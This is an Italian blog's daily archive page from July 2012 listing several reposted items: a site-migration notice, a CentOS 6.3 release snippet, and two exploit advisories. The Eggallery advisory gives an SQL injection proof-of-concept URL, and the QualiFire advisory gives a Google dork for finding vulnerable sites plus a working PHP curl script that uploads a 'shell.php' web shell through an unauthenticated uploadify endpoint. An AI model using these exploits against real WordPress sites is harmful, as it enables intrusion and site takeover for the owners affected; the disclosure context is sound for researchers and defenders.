Daily archives: July 10, 2012

 

 

171

Taison si Sposta

Sto migrando il sito su piattaforma Wordpress per cui invito tutti a visitare il sito http://taison.altervista.org/blog ed aggiornare i feed rss (taison.altervista.org/blog/feed/)

 

 

 

 

61

WordPress Eggallery – SQL Injection Vulnerability

# Exploit Title: Wordpress Eggallery – SQL Injection Vulnerability . # Date: 30 June 2012 # Author: Dark-Puzzle # Risk : HIGH # Version: All Versions # Category: Webapps/0day # Tested on: Windows Xp Sp2 , Backtrack 5 . ——————————————————– Vulnerability :   http://example.com/wp-content/plugins/eggallery/image.php?id=1′   ——————————————————– Dark-Puzzle (Souhail) . Follow me : fb.me/dark.puzzle Follow Moroccan [...]

L’articolo WordPress Eggallery – SQL Injection Vulnerability sembra essere il primo su MondoUnix.

 

107

WordPress Themes QualiFire File Upload Vulnerability

####################################################################### Exploit Title: Wordpress Themes QualiFire File Upload Vulnerability Google Dork: inurl:wp-content/themes/qualifire Date: 30/06/2012 Author: Tn_Scorpion Software Link: http://themeforest.net/item/qualifire-wordpress-theme/105879 ( it’s not free 40$ ) #######################################################################   [+] exploit   <?php   $uploadfile="shell.php"; $ch = curl_init("http://example.com/wp-content/themes/qualifire/scripts/admin/uploadify/uploadify.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array(‘Filedata’=>"@$uploadfile", ‘folder’=>’/wp-content/themes/qualifire/scripts/admin/uploadify/’)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch);   print "$postResult"; ?>   [...]

L’articolo WordPress Themes QualiFire File Upload Vulnerability sembra essere il primo su MondoUnix.

 

110

CentOS 6.3

A meno di tre settimane dal rilascio di Red Hat Enterprise Linux (RHEL) 6.3, il progetto CentOS ha rilasciato la nuova versione 6.3 clone della distribuzione Red Hat.Come sempre, il team di sviluppo di CentOS si è impegnato per garantire che la distri…